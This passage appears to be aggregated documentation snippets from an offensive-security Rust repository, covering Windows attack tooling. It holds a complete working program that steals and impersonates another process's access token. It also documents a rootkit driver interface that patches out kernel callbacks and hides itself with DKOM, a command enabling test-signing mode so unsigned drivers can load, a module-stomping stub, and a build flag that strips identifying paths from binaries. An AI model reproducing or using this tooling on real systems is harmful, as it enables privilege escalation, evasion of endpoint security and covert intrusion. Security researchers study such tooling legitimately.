involves overwriting existing modules in memory. ```rust use windows_sys::Win32::System::Memory::{VirtualAllocEx, WriteProcessMemory}; fn main() { // Code for module stomping println!("Module stomped."); } ``` -------------------------------- ### Kernel Callback Management API Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Enumerate and patch kernel callbacks to control system-level event notifications. ```APIDOC ## GET /api/callbacks/enumerate ### Description Enumerates all registered kernel callbacks, providing their addresses and associated module names. ### Method GET ### Endpoint `/api/callbacks/enumerate` ### Parameters None ### Response #### Success Response (200) - **total_callbacks** (integer) - The total number of kernel callbacks found. - **callbacks** (array) - An array of callback objects, each containing: - **index** (integer) - The index of the callback. - **address** (string) - The memory address of the callback. - **module** (string) - The name of the module the callback belongs to. #### Response Example ```json { "total_callbacks": 11, "callbacks": [ { "index": 0, "address": "0xffffbd8d3d2502df", "module": "ntoskrnl.exe" }, { "index": 1, "address": "0xffffbd8d3d2fe81f", "module": "cng.sys" } ] } ``` ## POST /api/callbacks/patch ### Description Patches a specific kernel callback at the given index, effectively removing it from the callback chain. ### Method POST ### Endpoint `/api/callbacks/patch` ### Parameters #### Query Parameters - **index** (integer) - Required - The index of the callback to patch (0-63). ### Response #### Success Response (200) - **message** (string) - A success message indicating that the callback was patched. #### Response Example ```json { "message": "Callback patched successfully at index 10" } ``` ``` -------------------------------- ### Build Project with cargo-make Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/srdi-rs/README.md Command to build all projects within the workspace using cargo-make with the 'production' profile. This is typically used to compile the sRDI components. ```bash cargo make --profile production ``` -------------------------------- ### Driver Management API Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Manage the visibility and enumeration of kernel drivers. ```APIDOC ## GET /api/driver/enumerate ### Description Enumerates all loaded kernel modules (drivers) on the system. ### Method GET ### Endpoint `/api/driver/enumerate` ### Parameters None ### Response #### Success Response (200) - **modules** (array) - An array of strings, where each string is the name of a loaded kernel module. #### Response Example ```json [ "ntoskrnl.exe", "cng.sys", "WdFilter.sys" ] ``` ## POST /api/driver/hide ### Description Hides the kernel driver itself from the system's loaded module list using Direct Kernel Object Manipulation (DKOM). ### Method POST ### Endpoint `/api/driver/hide` ### Parameters None ### Response #### Success Response (200) - **message** (string) - A success message indicating the driver has been hidden. #### Response Example ```json { "message": "Driver hidden successfully." } ``` ``` -------------------------------- ### Enable Windows Test Signing Mode Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Enables test signing mode on Windows, which allows loading unsigned or custom-signed kernel drivers. This is a prerequisite for testing custom drivers. ```shell bcdedit /set testsigning on ``` -------------------------------- ### Steal and Impersonate Process Token using Rust Source: https://context7.com/trickster0/offensiverust/llms.txt This Rust code steals and impersonates an access token from a target process. It requires the process ID (PID) as input and uses Windows API functions to open the process, duplicate its token, and then impersonate the user associated with that token. Error handling is included for API calls. ```rust // token_manipulation/src/main.rs use std::{env, ptr::null_mut}; use winapi::um::{ processthreadsapi::{OpenProcess, OpenProcessToken}, winnt::{ MAXIMUM_ALLOWED, TOKEN_QUERY, TOKEN_DUPLICATE, TOKEN_IMPERSONATE, SecurityImpersonation, TokenPrimary, PROCESS_QUERY_LIMITED_INFORMATION }, handleapi::{INVALID_HANDLE_VALUE, CloseHandle}, securitybaseapi::{DuplicateTokenEx, ImpersonateLoggedOnUser}, errhandlingapi::GetLastError }; use winapi::shared::minwindef::{FALSE, DWORD}; use winapi::ctypes::c_void; fn main() { let mut token: *mut c_void = null_mut(); let mut duplicated_token: *mut c_void = null_mut(); let args: Vec = env::args().collect(); if args.len() != 2 { println!("Usage: {} ", args[0]); return; } unsafe { // Open target process let proc_handle = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, args[1].parse::().unwrap() ); if proc_handle == INVALID_HANDLE_VALUE || proc_handle == 0 as *mut c_void { println!("[-] Failed to open process: {}", GetLastError()); return; } println!("[+] Opened process"); // Open process token if OpenProcessToken( proc_handle, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &mut token ) == 0 { println!("[-] Failed to open process token: {}", GetLastError()); CloseHandle(proc_handle); return; } // Duplicate the token if DuplicateTokenEx( token, MAXIMUM_ALLOWED, null_mut(), SecurityImpersonation, TokenPrimary, &mut duplicated_token ) == FALSE { println!("[-] Failed to duplicate token: {}", GetLastError()); CloseHandle(token); CloseHandle(proc_handle); return; } println!("[+] Duplicated token"); // Impersonate the user if ImpersonateLoggedOnUser(duplicated_token) == FALSE { println!("[-] Failed to impersonate user: {}", GetLastError()); } else { println!("[+] This thread running as the impersonated user!"); } CloseHandle(duplicated_token); CloseHandle(token); CloseHandle(proc_handle); } } ``` -------------------------------- ### Remove Home Directory Paths from Binary (Rust) Source: https://context7.com/trickster0/offensiverust/llms.txt This command builds a Rust project in release mode while removing home directory paths from the binary. It uses the RUSTFLAGS environment variable to remap the $HOME directory to a random string, aiding in obfuscation and preventing the hardcoding of sensitive path information. ```bash RUSTFLAGS="--remap-path-prefix $HOME=$RANDOM" cargo build --release ```